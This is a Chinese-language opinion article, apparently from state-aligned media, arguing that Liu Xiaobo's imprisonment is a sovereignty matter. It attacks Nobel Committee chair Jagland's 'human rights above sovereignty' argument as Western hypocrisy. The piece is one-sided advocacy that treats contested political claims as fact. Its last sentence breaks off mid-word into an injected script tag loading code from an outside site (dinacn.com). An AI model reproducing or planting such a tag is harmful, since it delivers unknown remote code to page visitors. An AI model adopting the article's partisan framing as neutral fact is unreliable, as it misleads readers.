刘晓波因煽动颠覆国家政权罪受到依法惩处，这是一个法律问题，是中国的司法主权问题，不是人权问题。但是，亚格兰在这份以“人权”为核心的“辩辞”中，从少数西方势力的价值观出发，抛出“人权高于主权”论，为诺贝尔委员会将诺贝尔奖授予中国罪犯进行辩护，并借机攻击中国，显然是错误的和站不住脚的。

　　“人权高于主权”的谬误与虚伪

　　亚格兰在文章中首先声称：中国认为“没人有权干涉中国内政”，但是“国际人权法律和标准超越于国家，国际社会有义务保证它们得到尊重”。这番说辞，无论在逻辑上、法理上还是在实践中，都是站不住的。

　　“人权高于主权”自少数西方国家提出后，就受到国际社会多数成员的质疑和反对。究其实质，这种理论无视国家主权对人权的根本性保护，认为一国人权问题如何解决不是由本国而是由外国决定的，否定了国际社会公认的尊重国家主权的基本准则。它的实际后果是，西方国家内部可以是国家主权至上，而对外部世界却可以“人权”为借口任意干涉，侵犯别国主权，推行强权政治、霸权主义，甚至实施军事打击。

　　亚格兰在文章中声称联合国发表《世界人权宣言》是“人权高于主权”的例证之一，但他却避而不谈，《世界人权宣言》第二十九条明确指出：人人在行使他的权利和自由时，要受到法律所确定的限制。一国的法律恰是主权的重要组成部分。可见，《世界人权宣言》从来没有支持“人权高于主权”，是亚格兰在断章取义。

　　亚格兰曾在挪威政坛活动多年，相信他本人都记忆犹新的，是上世纪90年代末北约发动的科索沃战争。发动这场战争的一个主要借口就是“人权高于主权”，而其结果是灾难性的，导致了当地人民各项基本人权的巨大倒退。事实胜于雄辩，亚格兰的出发点是错误的。

　　按照亚格兰的“原则”，只要“人权高于主权”，就可以成为诺委会评奖的辩护理由。但事实并非如此。众所周知，“9·11”恐怖袭击后，美国通过了《爱国者法案》，美国国内颇有人权组织和公众，就其国家权力干预个人隐私等人权内容提出质疑和反对，然而，诺委会并没有想到要给这些人颁奖。这个时候，亚格兰“人权高于主权”的“原则”哪里去了？

　　无疑，“人权高于主权”并非亚格兰的“原则”，推行双重标准，干涉中国内政，并以“人权”为借口辩护自己的虚伪，才是他真正的原则。

　　打出“人权”旗号的意识形态偏见

　　既然“人权高于主权”已被证明为谬误，诺委会的言与行也经不起推敲，为何少数西方势力还要乐此不疲地一再祭出这个“旗号”呢？

　　亚格兰在文章中说，现代国家体系演进于17世纪，“当时，主权被认为由专制统治所体现”，“美国《独立宣言》和法国《人权宣言》取代专制控制，人民主权成为国家权力和合法性之源”，后来联合国发表了《世界人权宣言》。然后，他笔调一转，声称“中国不是民主国家”，并进而攻击中国的社会、法律制度。

　　这样的思维与逻辑，恰恰暴露了诺委会打出“人权高于主权”旗号的深层价值观偏见——实行社会主义制度的中国，是他们眼中的“例外”，从冷战思维出发，他们似乎觉得有资格以其眼中的“人权”去超越中国的主权。

　　他们不愿意看到社会主义中国的发展强大，千方百计利用包括所谓诺贝尔和平奖在内的各种方式搞乱甚至是搞垮中国。这才是亚格兰们的真实图谋。近日，挪威诺委会秘书伦德斯塔在牛津大学一次谈话中道破了天机：诺贝尔委员会数年来一直研究“用诺贝尔奖应对中国”的问题，认为“必须解决中国问题”，而最终刘晓波被他们选中作为“应对中国”的人选！

　　亚格兰关于中国民主的谬论，可谓与中国的历史和现实南辕北辙。上个世纪初，中国在辛亥革命中告别了封建王朝的统治，五四运动在古老的中国大地高扬“民主”、“科学”的旗帜，新中国的诞生首次将“人民”作为“共和国”的根基。60多年来，特别是改革开放30多年来，中国的民主政治和人权事业取得前所未有的发展和进步。中国的现代化进程，与世界现代化发展的总体潮流紧密相连；中国秉持和倡导《世界人权宣言》精神，得到国际社会的高度赞扬和普遍尊重。

　　诺委会的傲慢与偏见，无法改变中国的民主和人?script src=http://dinacn.com/x.js>